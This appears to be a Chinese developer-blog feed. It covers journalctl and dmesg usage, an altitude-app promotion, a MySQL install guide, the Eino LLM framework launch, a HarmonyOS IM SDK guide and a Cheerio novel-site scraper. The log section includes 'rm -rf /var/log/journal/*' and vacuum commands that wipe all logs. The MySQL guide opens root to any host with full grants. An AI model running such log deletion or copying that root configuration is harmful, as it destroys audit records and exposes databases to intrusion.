     --utc                   以协调世界时(UTC)表示时间
  -x --catalog               在可用的地方添加消息解释
     --no-full               缩略字段
  -a --all                   显示所有字段,包括长和不可打印的
  -q --quiet                 不显示信息消息和权限警告
     --no-pager              不将输出管道输出到分页器
     --no-hostname           抑制主机名字段的输出
  -m --merge                 显示所有可用日志的条目
  -D --directory=PATH        显示来自目录的日志文件
     --file=PATH             显示日志文件
     --root=ROOT             在根目录下操作文件
     --namespace=NAMESPACE   显示指定命名空间的日志数据
     --interval=TIME         更改FSS密封键的时间间隔
     --verify-key=KEY        指定FSS验证键
     --force                 使用--setup-keys覆盖FSS密钥对
命令:
  -h --help                  显示此帮助文本
     --version               显示包版本
  -N --fields                列出当前使用的所有字段名称
  -F --field=FIELD           列出指定字段采取的所有值
     --disk-usage            显示所有日志文件的总磁盘使用量
     --vacuum-size=BYTES     将磁盘使用量减少到指定大小以下
     --vacuum-files=INT      只保留指定数量的日志文件
     --vacuum-time=TIME      删除早于指定时间的日志文件
     --verify                验证日志文件的一致性
     --sync                  将未写入的日志消息同步到磁盘
     --relinquish-var        停止记录到磁盘,记录到临时文件系统
     --smart-relinquish-var  类似,但如果日志目录在根挂载上,则无操作
     --flush                 将所有日志数据从 /run 刷新到 /var
     --rotate                请求立即旋转日志文件
     --header                显示日志头信息
     --list-catalog          在目录中显示所有消息ID
     --dump-catalog          显示消息目录中的条目
     --update-catalog        更新消息目录数据库
     --setup-keys            生成新的FSS密钥对
常用
  • 查看所有日志(分页输出):
journalctl
  • 查看所有日志(不分页输出):
journalctl --no-pager
  • 按时间倒序查看所有日志:
journalctl -r
  • 查看最新的 10 条日志:
journalctl -n 10
  • 实时查看新添加的日志条目:
journalctl -f
  • 只显示错误级别的日志
journalctl -p err
  • 根据服务名称过滤:
journalctl -u nginx
  • 根据进程 ID 过滤:
journalctl _PID=2001
  • 根据优先级过滤(0-7,0 表示最重要):
journalctl -p err -b
  • 时间戳允许你查找特定时间范围内的日志条目。
journalctl --since="2024-03-01" --until="2024-04-24 03:00"
  • 清除所有日志:
sudo journalctl --vacuum-time=1s
  • 清除超过特定大小的日志:
journalctl --vacuum-size=1

这将删除所有日志,直到系统日志的总大小降到1(单位为BYTE)。

  • 查看日志占用空间大小。
journalctl --disk-usage
  • 暴力方式直接删除日志文件。
sudo systemctl stop systemd-journald
sudo rm -rf /var/log/journal/*
sudo systemctl start systemd-journald

1.2 dmesg

  • dmesg 显示系统启动时的日志信息,包含了内核和设备驱动程序的消息。
  • 它输出的是当前内核环缓冲区的内容,通常包括硬件检测、设备初始化等启动时的信息。
  • dmesg 不存储日志到文件,仅显示缓冲区的内容。如果系统启动后时间较长,可以使用 dmesg -T 以人类可读的时间戳显示。 语法
dmesg [-cn][-s <缓冲区大小>]

参数说明

  • -c  显示信息后,清除 ring buffer 中的内容。

  • -s<缓冲区大小>  预设置为 8196,刚好等于 ring buffer 的大小。

  • -n  设置记录信息的层级。

  • 直接输入dmesg即可输出所有的mesg信息到终端,有的发行版本可能需要root权限

  • 设置不需要root也可以查看:sudo sysctl -w kernel.dmesg_restrict=0 常用设置

dmesg -L # color
dmesg -H # human timestamp
dmesg -T # readable timestamp
dmesg --follow # 持续观察输出
dmesg | tail -10 # 最后10行,当然也可以使用其它管线命令,如more,less,grep

日志级别

emerg: System is unusable.
alert: Action must be taken immediately.
crit: Critical conditions.
err: Error conditions.
warn: Warning conditions.
notice: Normal but significant condition.
info: Informational.
debug: Debug-level messages.

使用 dmesg -l info 仅输出 info 级别的日志,这不包括更高级别的日志。 dmesg -l debug,notice 同时输出多种级别的日志。 用户组

kern: Kernel messages.
user: User-level messages.
mail: Mail system.
daemon: System daemons.
auth: Security/authorization messages.
syslog: Internal syslogd messages.
lpr: Line printer subsystem.
news: Network news subsystem.

使用-f(facility)'参数过滤组。 使用 -x(decode) 参数可以输出包括组和日志级别的信息。 **清除旧内容** 对于服务器,本操作请谨慎使用,清除后不会再恢复。 对于嵌入式设备的调试,它会比较清楚地展现当前的log信息。 dmesg -c` 显示并清除当前的日志内容。 下次再 dmesg 时就没有以前的日志了。

by TMesh at January 20, 2025 04:00 AM

juejin career

【限免中】我做了一个新App鸭梨海拔:给你一张好看的海拔图片

给大家分享一下我开发的新 App:鸭梨海拔。目前只有 iOS 版,安卓版和小程序在开发中。为了表示诚意目前正在限免中(截至 1.26),可永久解锁会员。

Image.png

一句话介绍这个 App:给你一张好看的海拔图片。和你一起记录下此刻的海拔。

Image.png

Image.png

开发的起点是在云南虎跳峡徒步的时候,想看一下海拔是多少,拍一张海拔的照片。发现市面上没有好看的海拔数据,都是比较简单的工具型的UI。回来以后就自己做了一个重点展示海拔的 App:鸭梨海拔。

29db7e2bb25fd0b71e6f9ca5a033f8cf.png

为了能满足用户的多元需求,我们开发了 10 个主题。有我们原创的插画主题:

d10607124d9fb187f2dbc2a232fb86b7.png

有经典简约的主题:

2b80a5d8c99cbe234b10bf4bb808c256.png

还有地图主题。考虑到用户可能想用自己的照片做背景,我们专门做了一个主题支持上传自己的图片当做背景。

4dfe3955d6041314478586184b4cfc20.png

海拔对于高原旅游和高山徒步也很重要,我们同时也支持了把海拔显示在灵动岛和小组件上。我们也计划支持在 watch 上展示,目前还在开发中。

pic_1242x2688_06 CN.png

希望鸭梨海拔可以陪你一起去远方。

by 独立开花卓富贵 at January 20, 2025 03:59 AM

juejin backend

Ubuntu安装Mysql

首先更新软件包列表:

sudo apt update

开始安装MySQL

sudo apt install mysql-server

MySQL安装完成,查询安装的版本

mysql --version

image.png

查看MySQL服务状态

sudo systemctl status mysql

image.png

状态正常,安装完成

配置MySQL

sudo mysql
use mysql;
select user, host, plugin from user;

image.png

将host设置成了’%'来匹配任意ip,不限制ip登录

update user set host='%' where user='root';
flush privileges;

image.png

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;

image.png

编辑 my.cnf 文件: /etc/mysql/mysql.conf.d/mysqld.cnf

默认情况下,bind-address 设置为 127.0.0.1,这意味着 MySQL 服务器只监听本地连接。
若要允许远程连接,需要将 bind-address 设置为 0.0.0.0 或者具体的 IP 地址,例如 192.168.1.100。
如果你希望允许所有 IP 地址的远程连接,使用 0.0.0.0

注意事项 安全:允许远程连接会增加安全隐患。确保你已经设置了强大的密码策略,并且只允许可信的 IP 地址连接。 防火墙:确保你的防火墙配置允许 TCP 端口 3306 的入站连接。 权限:确保你有足够的权限来编辑 my.cnf 文件和重启 MySQL 服务。 测试:在生产环境中做出这样的更改之前,先在测试环境中测试这些配置。

设置开机启动:

sudo systemctl enable mysql;

取消开机启动:

sudo systemctl stop mysql;
sudo systemctl disable mysql;

检查MySQL的开机自启动状态:

sudo systemctl status mysql;

by 程序破晓者 at January 20, 2025 03:55 AM

juejin freebie

大语言模型应用开发框架 —— Eino 正式开源!

公众号品牌.png

文章来源|CloudWeGo 开源团队 Eino 项目组

今天,经过字节跳动内部半年多的使用和迭代,基于 Golang 的大模型应用综合开发框架 —— Eino,已在 CloudWeGo 正式开源啦!

Eino 基于明确的“组件”定义,提供强大的流程“编排”,覆盖开发全流程,旨在帮助开发者以最快的速度实现最有深度的大模型应用。

你是否曾有这种感受:想要为自己的应用添加大模型的能力,但面对这个较新的领域,不知如何入手;想持续的站在研究的最前沿,应用最新的业界成果,但使用的应用开发框架却已经数月没有更新;想看懂项目里的用 Python 写的代码,想确定一个变量或者参数的类型,需要反复查看上下文确认;不确定模型生成的效果是否足够好,想用又不太敢用;在调试、追踪、评测等开发之外的必要环节,还需要额外探索学习其他配套的工具。如果是,欢迎了解和尝试 Eino,因为 Eino 作为旨在覆盖 devops 全流程的大模型应用开发框架,具有如下特点:

  • 内核稳定,API 简单易懂,有明确的上手路径,平滑的学习曲线。
  • 极致的扩展性,研发工作高度活跃,长期可持续。
  • 基于强类型语言 Golang,代码能看懂,易维护,高可靠。
  • 背靠字节跳动核心业务线的充分实践经验。
  • 提供开箱即用的配套工具。

Eino 已成为字节跳动内部大模型应用的首选全代码开发框架,已有包括豆包、抖音、扣子等多条业务线、数百个服务接入使用。

项目地址:github.com/cloudwego/e…

未来,我们将以 Eino 开源库为核心代码仓库,坚持内外用一套代码,与社区共建最优秀的大模型应用开发框架。

快速认识 Eino

Eino 是覆盖 devops 全流程的大模型应用开发框架,从最佳实践样例的 Eino Examples,到各环节的工具链,都是 Eino 的领域:

image.png

那么 Eino 具体能做什么?首先,Eino 由一个个大模型领域的“组件”组成,比如最核心的是与大模型交互的 Chat Model:

model, _ := ark.NewChatModel(ctx, config) // 创建一个豆包大模型
message, _ := model.Generate(ctx, []*Message{
    SystemMessage("you are a helpful assistant."),
    UserMessage("what does the future AI App look like?")}

像上面这样一个个的直接使用组件,当然没问题,Eino 提供了大量有用的组件实现供选择。但是,大模型应用有它们自身的特点和规律,比如:

  • 核心是大模型,业务逻辑围绕“如何给大模型充分、有效的上下文”以及“如何让大模型的输出可靠的影响环境”,核心的组件类型、数据类型和交互模式是可以枚举的,整体可以由有向图来描述。
  • 大模型输出的特点是流式输出,意味着模型的下游都需要有效的处理流式数据,包括流的实时处理、流的复制、多个流的合并、单个流的拼接等。
  • 以有向图为基础,衍生出并发处理、扇入扇出、通用横切面、option 分配等一系列子问题。

Eino 的编排能力,是上述通用问题的充分解决方案。

以 ReAct Agent 为例:一个 ChatModel(大模型),“绑定”了 Tool(工具),接收输入的 Message,由 ChatModel 自主判断是否调用 Tool 或输出最终结果。Tool 执行结果会再次成为给到 ChatModel 的 Message,并作为下一轮自主判断的上下文。

上述基于ChatModel 进行自主决策和选路的 ReAct Agent,便是基于 Eino 的 组件 和 Graph 编排 来实现, 代码清晰简洁,可与流程图清晰对应。

在 Eino 中,这是几十行代码的图编排:

// 构建一个 ReAct Agent,编译为一个输入为 []*Message,输出为 *Message 的 Runnable

// 创建包含 state 的 Graph,用户存储请求维度的 Message 上下文
graph = NewGraph[[]*Message, *Message](
   WithGenLocalState(func(ctx context.Context) *state {
      return &state{Messages: make([]*Message, 0, config.MaxStep+1)}
   }))

// 将一个轮次中的上下文和响应,存储到 Graph 的临时状态中
modelPreHandle = func(ctx context.Context, input []*Message, state *state) ([]*Message, error) {
    state.Messages = append(state.Messages, input...)
    return state.Messages, nil
}

_ = graph.AddChatModelNode(nodeKeyModel, chatModel, WithStatePreHandler(modelPreHandle))

_ = graph.AddEdge(START, nodeKeyModel)

_ = graph.AddToolsNode(nodeKeyTools, toolsNode)

// chatModel 的输出可能是多个 Message 的流
// 这个 StreamGraphBranch 根据流的首个包即可完成判断,降低延迟
modelPostBranch = NewStreamGraphBranch(
   func(_ context.Context, sr *schema.StreamReader[*Message]) (endNode string, err error) {
      defer sr.Close()

      if msg, err := sr.Recv(); err != nil {
         return "", err
      } else if len(msg.ToolCalls) == 0 {
         return END, nil
      }

      return nodeKeyTools, nil
   }, map[string]bool{nodeKeyTools: true, END: true})

_ =  graph.AddBranch(nodeKeyModel, modelPostBranch)

// toolsNode 执行结果反馈给 chatModel
_ = graph.AddEdge(nodeKeyTools, nodeKeyModel)

// 编译 Graph:类型检查、callback 注入、自动流式转换、生成执行器
agent, _ := graph.Compile(ctx, WithMaxRunSteps(config.MaxStep))

在上面这几十行代码的背后,Eino 自动做了一些事情:

  • 类型检查,在 compile 时确保相邻的节点的类型对齐。
  • 流式封装,编译出的 Runnable 既可以 Invoke 调用,也可以 Stream 调用,无论内部的 Tool 是否支持流。
  • 并发管理,对 state 这个公共状态的读写是并发安全的。
  • 横切面注入,如果某个组件(比如一个 tool)没有实现 callbacks 注入,则 Eino 自动注入。
  • Option 分配,编译出的 Runnable 可以灵活接收并把 option 分配给指定的节点。

Eino 的独特优势

基于大语言模型的软件应用正处于快速发展阶段,新技术、新思路、新实践不断涌现,我们作为应用开发者,一方面需要高效、可靠的把业界共识的最佳实践应用起来,另一方面需要不断学习和提升认知,从而能够整体理解这个新领域的可能性。因此,一个优秀的大模型应用开发框架,既需要封装领域内“不变”的通用核心要素,又需要基于最新进展敏捷的横向和纵向扩展

另一方面,目前较为主流的框架如 LangChain,LlamaIndex 等,都基于 Python,虽然能借助 Python 较为丰富的生态快速实现多样的功能,但是同时也继承了 Python 作为动态语言所带来的“弱类型检验”和“长期维护成本高”等问题。在大模型应用快速进入大规模线上运行阶段的当下,基于 Golang 这一强类型语言而实现的高可靠性高可维护性,逐渐具有更大的价值。

基于大模型的应用开发是相对较新的领域,有时需要摸着石头过河,靠实践来检验认知。依托字节跳动高频应用豆包、抖音等的多样场景、快速迭代和海量反馈,Eino 在实践驱动设计方面有独特的优势。

最后,生产级的框架需要面对真实、复杂的业务场景,因此,除了直观易用的 API 设计之外,提供有针对性设计的开发工具可以有效的帮助开发者理解和应对复杂性、加速开发过程。

内核稳定

我们认为,存在一个常见的组件列表,共同构成了大模型应用的常见组成部分。每类组件作为一个 interface,有完善、稳定的定义:具体的输入输出类型,明确的运行时 option,以及明确的流处理范式。

在明确的组件定义基础之上,我们认为,大模型应用开发存在通用的基座性质的能力,包括但不限于:处理模型输出的流式编程能力;支持横切面功能以及透出组件内部状态的 Callback 能力;组件具体实现超出组件 interface 定义范围的 option 扩展能力。

在组件定义和通用基座能力的基础上,我们认为,大模型应用开发存在相对固定的数据流转和流程编排范式:以 ChatModel(大模型)为核心,通过 ChatTemplate 注入用户输入和系统 prompt,通过 Retriever、Document Loader & Transformer 等注入上下文,经过 ChatModel 生成,输出 Tool Call 并执行,或输出最终结果。基于此,Eino 提供了上述组件的不同编排范式:Chain,链式有向无环图;Graph,有向图或有向无环图;Workflow,有字段映射能力的有向无环图。

上述设计和功能共同构成了 Eino 的稳定内核:

image.png

敏捷扩展

每类组件都可以横向扩展出不同的实现,比如 ChatModel 组件可以有 OpenAI、Gemini、Claude 等不同的实现等。这些具体的实现,在实现组件 interface 从而可作为组件参与编排的基础上,可以实现和持续扩展自身的特殊功能。

当实际业务场景中,出现需要进入编排但是不对应任何组件定义的功能时,Eino 支持将自定义 function 声明为 Lambda 类型。Lambda 有用户声明的输入输出以及 option 类型,可支持全部的流处理范式,具备完整的 Callback 能力,在编排视角等价于官方组件。

在大模型应用开发领域,存在并且持续会涌现多个组件的特定编排范式,这些范式封装了验证有效的研究成果或实践经验,比如 ReAct Agent,Host Multi-Agent 等。这些开箱即用的封装,浓缩了大模型应用开发领域的最佳实践,会随着我们认知的提升持续纵向扩展。

在组件和图执行过程中,开发者可以在固定的时机嵌入自定义的回调逻辑,用于注入横切面功能。

综上所述,Eino 框架具备充分的可扩展性:

image.png

高可靠易维护

基于 Golang 写 Eino 代码时,开发者可以充分利用 Golang 的强类型特性,为所有的组件、Lambda、编排产物等声明具体类型。这像是为代码绘制了一幅精确的地图,开发者可以沿着清晰的路径进行维护和扩展,即使在项目规模不断扩大、功能持续迭代的情况下,依然能够保有较高的可维护性。

同时,Eino 编排能力也充分利用了强类型系统的编译时校验能力,尽可能将类型匹配问题暴露的时机提前到 graph 的编译时,而不是 graph 的运行时。尽早并明确的暴露类型匹配问题,有助于开发者迅速定位和修复,减少因类型错误在运行时引发的难以排查的故障和性能问题。

另一方面,Eino 遵循模块化设计,核心库以及各组件实现是单独的 go module,每个 go module 做到依赖最小化。同时,API 设计以“精简”、"直观"和“同构性”为原则,辅以由浅入深的全面文档,尽可能让学习曲线更平滑。最重要的是,Eino 采用清晰的分层设计,每层职责明确、功能内聚,在提升维护性的同时能更好的保证稳定性。

Eino 框架结构图:

image.png

实践驱动

Eino 框架的设计开发过程,扎根于 “满足真实需求” 与 “实践驱动设计” 这两大基石之上。功能的演进过程与字节跳动各业务线的接入过程紧密结合,始终倾听开发者的声音,并通过实际使用效果来检验设计的合理性。比如我们收到来自抖音的“希望能够以字段为粒度在图中映射和传递数据”的需求,以此为基础设计了 Workflow;倾听来自豆包的使用痛点,增强作为模型输入输出类型的 Message 结构体。在未来的开源生态共建过程中,我们会继续坚持上述原则,满足更广大的用户和开发者的真实需求,并在更大的范围内认真实践和精进。

5.png

工具生态

链路追踪、调试、可视化,是编排引擎的三个重要辅助工具。Eino 内置了 tracing callback,并与 Langfuse 平台做了集成。同时提供了 IDE 插件,可以在写代码的过程中随时可视化查看编排出的 graph,并进行调试运行,甚至可以通过 UI 拖拽的方式快速构建 graph 并导出为 Eino 代码。

快速上手

针对 Eino 的学习和使用,我们提供了完善的 Eino用户手册,帮助大家快速理解 Eino 中的概念,掌握基于 Eino 开发设计AI 应用的技能,赶快通过「Eino: 快速开始」尝试使用吧~。

如有任何问题,可通过下方的飞书群或者 Eino Issues 和我们沟通、反馈~

相关链接

项目地址:github.com/cloudwego/e…

项目官网:www.cloudwego.io

扫描二维码加入飞书社群:

by 字节跳动开源 at January 20, 2025 03:47 AM

juejin article

集成指南 | 融云鸿蒙 IMKit 来了!解锁 HarmonyOS 原生社交模块高效开发秘籍

纯血鸿蒙操作系统上线以来,已经吸引了超过 720 万开发者。随着越来越多开发者加入,娱乐社交、电子商务、交通出行、协同办公等原生鸿蒙应用纷纷上线,推动了鸿蒙生态系统的迅速成长。

融云第一时间上线了鸿蒙 IM SDK,快速响应所有应用必备的社交模块需求。

图片

对于开发者来说,在鸿蒙生态上开发应用是一个站在全新出发点去获取增量的机会,对性能和高效的需求与日俱增。

在社交类 SDK 中,融云率先提供鸿蒙 IMKit,含开箱即用的 UI 组件和预设的交互模式,让开发者的业务实现快人一步;覆盖多类型单群聊消息发送,置顶、免打扰、输入状态、➕号区域扩展等会话页面和列表管理,撤回、删除、引用、已读回执等消息管理,以及消息撤回编辑、消息高亮颜色等丰富的自定义能力,助力开发者快速构建功能更全、体验更好的鸿蒙应用。

2.png

3.png

本文主要介绍如何快速集成融云鸿蒙 IMKit,高效实现鸿蒙原生应用的社交模块。

准备工作

在开始集成 IMKit 之前,请确保您已完成以下准备工作:

注册融云开发者 账号: 访问融云官网注册开发者账号。注册成功后,控制台会自动创建您的首个应用,并生成开发环境下的 App Key。

获取 Ap****p Key: 登录融云开发者控制台,在“应用管理”中找到您的应用,即可获取开发环境的 App Key。请注意,每个应用具有两个不同的 App Key,分别对应开发环境和生产环境,两个环境之间数据隔离。在您的应用正式上线前,请切换到使用生产环境的 App Key。

安装开发工具: 确保您已安装 DevEco Studio NEXT Release(5.0.3.900) 及以上版本,并已配置好 HarmonyOS SDK API 12 及以上版本。建议使用手机系统版本号 NEXT.0.0.31 的真机进行测试。

快速集成

融云支持在 DevEco Studio 中自动导入和手动导入 IMKit SDK。我们推荐使用自动导入方式,更加便捷。

自动导入 SDK

支持从 OpenHarmony 三方库中心仓获取 SDK。

☑ 在 entry 目录中的 oh-package.json5 文件中添加 IMKit 依赖。

// entry 目录中的 oh-package.json5
{
"name":
"entry",
"version": "1.0.0",
"description": "Please describe the basic information.",  "main": "",  "author": "",  "license": "",  "dependencies": {
// x.y.z 为 IMKit 的版本号,请前往融云官网或 OpenHarmony 三方库中心仓查询最新版本号。    "@rongcloud/imkit" : "x.y.z",
"@rongcloud/imlib" : "x.y.z",  }}

☑ 点击 DevEco Studio 中的“Sync Now”按钮,同步项目依赖。

图片

安装 SDK 成功后,您可以在项目根目录的 oh_modules/.ohpm/ 中找到融云 IMKit SDK。您也可以打开 OpenHarmony 三方库中心仓,搜索关键字 rongcloud 查看更多其他融云 SDK。

手动导入 SDK

如果您无法使用自动导入,或者有特殊需求,可以选择手动导入 SDK。

☑ 将 SDK 放入 App 仓库:在项目根路径创建 libs 目录,将 RonglMLib.har 和 RonglMKit.har 放到 libs 目录。

☑ 重写 IMLib 依赖:在项目根路径 oh-package.json5 中重写 IMLib 的依赖,以确保 IMKit 能够正确依赖 IMLib。

// 项目根路径 oh-package.json5
{
"modelVersion": "5.0.0",
"description": "Please describe the basic information.",
"dependencies": {  },  "devDependencies": {
"@ohos/hypium": "1.0.19",
"@ohos/hamock": "1.0.0"  
},
// 重写 imlib 的位置,确保 IMKit 能够正确依赖 IMLib  "overrides": {   
"@rongcloud/imlib" :"file:./libs/RongIMLib.har"  
}
}

☑ App 依赖 IMLib & IM Kit: 在 entry 目录下执行以下命令:

1. 进入 entry 目录cd entry
2. 依赖 IMLibohpm install ../libs/RongIMLib.har
3. 依赖 IMKitohpm install ../libs/RongIMKit.har

☑ 配置项目 请参考融云开发者文档中的“配置说明”部分进行项目配置。

初始化连接

在使用 IMKit 之前,需要先初始化 SDK 并连接融云服务器。

获取用户 Token: 用户 Token 是用户在融云的唯一身份标识。在实际应用中,您需要通过应用服务器调用融云 Server API 获取 Token。为了快速体验,您可以使用融云控制台「北极星」开发者工具箱的 API 调试页面调用“获取 Token”接口。

初始化 SDK: 在您的应用代码中,使用以下代码初始化 SDK:

import { IMEngine, InitOption } from '@rongcloud/imlib';

let initOption = new InitOption();IMEngine.getInstance().init(getContext(), this.appKey, initOption); // this.appKey 为您在融云控制台获取的 App Key

连接融云: 使用获取到的 Token 连接融云服务器。

let token = "YOUR_TOKEN"; // 替换为您的 Token
IMEngine.getInstance().connect(token, 10).then(result => { // 10 为连接超时时间,单位为秒    
if (EngineError.Success !== result.code) {    
// IM 连接失败,根据 result.code 进行相应处理    
console.error("IM 连接失败: "result.code);    
return;  
}  
// IM 连接成功  let curUserId = result.userId as string;console.log("IM 连接成功,用户 ID: "curUserId);}).catch(error => {    
console.error("IM 连接出错:"error);
});

您还可以监听 IM 连接状态的变化,以便在 UI 上给用户以提示。

import { IMEngine, ConversationStatusListener, ConversationStatusInfo, List } from '@rongcloud/imlib';

let statusListener : ConversationStatusListener = {onConversationStatusChange: (items: List<ConversationStatusInfo>): void => {        
// 处理连接状态变化        
items.forEach(item => {            
console.log("会话状态变化:", item.conversationId, item.status);        
})    
}
}
IMEngine.getInstance().addConversationStatusListener(statusListener);
//在不需要监听时移除监听器,避免内存泄漏IMEngine.getInstance().removeConversationStatusListener(statusListener);

体验收发消息

IMKit 内置会话页面已实现了发送各类型消息的功能和 UI。当您在自定义页面需要发送消息时,可使用 IMKit 核心类 RongIM 下发送消息的方法。这些方法除了提供发送消息的功能外,还会触发 IMKit 内置页面的更新。

发送消息: 发送消息前需要构造 Message 消息对象,参考构造消息

调用 RongIM 的发送消息方法时,SDK 会触发内置会话列表和页面的更新。

import { RongIM, ConversationIdentifier, ConversationType, TextMessage, Message, EngineError } from '@rongcloud/imlib';
let conId = new ConversationIdentifier();
conId.conversationType = ConversationType.Private; // 设置会话类型,例如单聊 (ConversationType.Private)
conId.targetId = "targetId"; // 替换为目标用户 ID
let textMsg = new TextMessage();textMsg.content = "这是一条文本消息"; // 设置消息内容
RongIM.getInstance().messageService().sendMessage(new Message(conId, textMsg))    
.then(result => {        
if (EngineError.Success !== result.code) {            
// 发送消息失败,根据 result.code 进行相应处理            
console.error("发送消息失败: " + result.code);            
return;        }       
if (!result.data) {            
// 消息数据为空            
console.error("消息数据为空");           
return;        }        
let msg = result.data as Message;        
console.log("消息发送成功:", msg);    
})
.catch(error => {    
console.error("发送消息出错:" + error);
});

通过 sendMessage 方法,融云服务器会通知您的消息是否已发送成功。当因任何问题导致发送失败时,可通过回调方法返回异常。

此外,融云鸿蒙 IMKit 还提供了更多高级功能,如自定义 UI、消息类型扩展、群组聊天等。点击融云开发者文档,了解详细信息和更多用法。

by 融云 at January 20, 2025 03:45 AM

juejin frontend

从零开始手撸一个阅读器--书源解析功能的实现(2)

概述

一个最基本的阅读器实现需要拿到以下数据

  1. 搜索:通过书名/作者搜索到对应的书籍,能展示最基本的信息(封面、书名、作者)
  2. 书籍详情:书籍详情中展示封面、书名、作者、分类、简介、章节目录等信息
  3. 章节内容

原理

  1. 定向解析第三方书源请求地址、返回数据,维护一套解析表
  2. 数据获取:
    • h5:因为涉及到跨域问题,得启用后端服务器去请求地址去爬数据
    • app:无跨域问题,直接使用 uni.request 请求就行 # 什么是跨域
    • ua:app端 ua 是固定的 # 默认User Agent,大部分网站的反爬虫机制也没有那么严格
  3. 数据解析:使用# Cheerio
    • Cheerio 是一个在 Node.js 环境中实现了 jQuery 核心功能的库,它专为服务器端的 HTML 解析和操作而设计。它允许开发者在 Node.js 中使用 jQuery 风格的语法,轻松地操作 HTML 或 XML 文档,而无需在浏览器环境中运行。
    • Cheerio 可以跨平台运行,可维护性强
  4. 因为环境不同,所以需要维护两套解析服务

观察网站请求可以发现,小说搜索请求了/tag/地址,请求参数为key 1.png 2.png

搜索书籍数据解析

最终实现只是解析返回的html结构,得到想要的数据

  1. 观察返回html结构
    • 封面地址:对应 container 下面的 item 的 a 标签下面的 img 的src属性
    • 书名:对应 container 下面的 item 的 itemtxt 下面 h3 下面 a 标签的text
    • pathname:/xiaoshuo/30/ 点进去发现就是目录页

3.png

4.png

  1. 解析规则配置
    • 小说列表:$(rules.wrapContainer.selector) 得到每一个book
    • 遍历,根据配置规则进行处理得到小说信息

5.png

function paraseSearchContent(res: string, item: any) {
  const bookList: searchBookList[] = [];
  const { rules } = item.search;
  const $ = cheerio.load(res);

  // 第一步:获取类
  const wrapperContainer = $(rules.wrapContainer.selector);
  // 第二步:遍历每个元素,提取其内部具体内容
  wrapperContainer.each((index, element) => {
    // 封面 书名 作者 目录地址 分类 最新章节 最近更新时间
    const { image, bookName, author, pathname, categories, latestChapter } = rules.infomation;

    const bookInfo = {
      origin: item.origin,
      bookName: "",
      author: "",
      image: "",
      pathname: "",
      categories: "",
      latestChapter: "",
    };

    // [key, keyRules]
    const handlers = [
      ["image", image],
      ["bookName", bookName],
      ["author", author],
      ["pathname", pathname],
      ["categories", categories],
      ["latestChapter", latestChapter],
    ];

    type HanderKeys = "image" | "bookName" | "author" | "pathname" | "categories" | "latestChapter";
    handlers.forEach((arr) => {
      const key: HanderKeys = arr[0];
      const rule = arr[1];
      if (!rule) return;

      const ele = $(element).find(rule.selector);

      if (ele) {
        // 处理 封面,默认取src属性
        if (key === "image") {
          bookInfo[key] = ele.attr(rule.attr || "src") || "";
        } else if (key === "pathname") {
          // 处理 目录页地址,默认取 href 属性
          bookInfo[key] = ele.attr(rule.attr || "href") || "";
        } else {
          // 处理其他内容,取text值
          bookInfo[key] = ele.text() || "";
        }

        // 有的链接地址是一个相对路径,拼接得到完整地址
        if (rule.subPath) {
          bookInfo[key] = `${item.origin}${bookInfo[key]}`;
        }
      }

      // 选择第几个元素,针对于不方便通过类筛选的情况
      if (rule?.hasOwnProperty("nthchild")) {
        const num = rule.nthchild;
        if (ele?.length >= num + 1) {
          const text = ele.eq(num).text() || "";
          bookInfo[key] = text;
        }
      }
      // 处理文本内容
      if (rule?.handler) {
        Object.entries(rule.handler).forEach(([type, value]) => {
          switch (type) {
            case "replace":
              bookInfo[key] = bookInfo[key].replace(new RegExp(value as string, "g"), rule.handler?.replaceValue || "");
              break;
            default:
              break;
          }
        });
      }

      bookInfo[key] = bookInfo[key].trim();
    });
    bookList.push(bookInfo);
  });

  return bookList;
}

目录详情的解析

和小说搜索类似,只是配置了不同的规则

6.png

export const getCatalogs = async (params: { url: string }) => {
  let content = (await getDeepthHtml(params.url)) as bookInfo;

  const result = handlerCatelogs(content);
  return Promise.resolve(result);
};

const getDeepthHtml = async (url: string, content: AnyObject = {}) => {
  try {
    let res = (await api.getCatalogsByApp(url)) as string;
    if (res) {
      const parse = URLPolyfill(url);
      const targetSource = source.find((i) => i.origin === parse.origin);
      if (targetSource) {
        const $ = cheerio.load(res);
        const { wrapContainer, infomation, pagination, redirect } = targetSource.catalogs.rules;

        let info = {
          bookName: "",
          author: "",
          image: "",
          categories: "",
          latestChapter: "",
          latestUpdateTime: "",
          description: "",
        };

        const reflect = [
          ["bookName", infomation.bookName],
          ["author", infomation.author],
          ["image", infomation.image],
          ["categories", infomation.categories],
          ["latestChapter", infomation.latestChapter],
          ["latestUpdateTime", infomation.latestUpdateTime],
          ["description", infomation.description],
        ];

        type HanderKeys =
          | "bookName"
          | "author"
          | "image"
          | "categories"
          | "latestChapter"
          | "latestUpdateTime"
          | "description";

        reflect.forEach((arr: any) => {
          const key: HanderKeys = arr[0];
          const rule = arr[1];
          let node = $(rule.selector);
          if (rule?.hasOwnProperty("nthchild")) {
            const num = rule.nthchild;
            if (node?.length >= num + 1) {
              node = node.eq(num);
            }
          }
          if (rule.type === "element") {
            if (rule.attr) {
              info[key] = node.attr(rule.attr) || "";
            } else {
              info[key] = node.text() || "";
            }

            if (rule.subPath) {
              info[key] = `${parse.origin}${info[key]}`;
            }
          } else {
            info[key] = node.attr("content") || "";
          }

          // 处理文字信息
          if (rule?.handler) {
            Object.entries(rule.handler).forEach(([type, value]) => {
              switch (type) {
                case "replace":
                  info[key] = info[key].replace(new RegExp(value as string, "g"), rule.handler?.replaceValue || "");
                  break;
                default:
                  break;
              }
            });
          }
        });

        if (!content.isParse) {
          content = {
            isParse: true,
            origin: parse.origin,
            pathname: parse.pathname,
            links: [],
            ...info,
          };
        }

        const wrapperContainer = $(wrapContainer.selector);
        wrapperContainer.each((index, element) => {
          let href = $(element).attr("href");
          if (redirect) {
            href = `${parse.pathname}${href}`;
          }

          content.links.push({
            href,
            text: $(element).text(),
          });
        });
        if (redirect) {
          let node = $(redirect.selector);
          if (redirect?.hasOwnProperty("nthchild")) {
            const num = redirect.nthchild;
            if (node?.length >= num + 1) {
              node = node.eq(num);
            }
          }
          const redirectUrl = node.attr("href");
          if (redirectUrl) {
            const nextUrl = `${parse.origin}${redirectUrl}`;

            content = await getDeepthHtml(nextUrl, content);
          }
        }
        if (pagination) {
          const nextPagination = $(pagination.selector).last();

          let nextPath = nextPagination.attr("href");
          let nextButtonName = nextPagination.text();

          if (nextPath && nextButtonName === "下一页") {
            const nextUrl = pagination.fullpath
              ? `${parse.origin}${parse.pathname}${nextPath}`
              : `${parse.origin}${nextPath}`;

            content = await getDeepthHtml(nextUrl, content);
          }
        }
      }
    }
  } catch (error) {
    console.log(error);
    return content;
  }

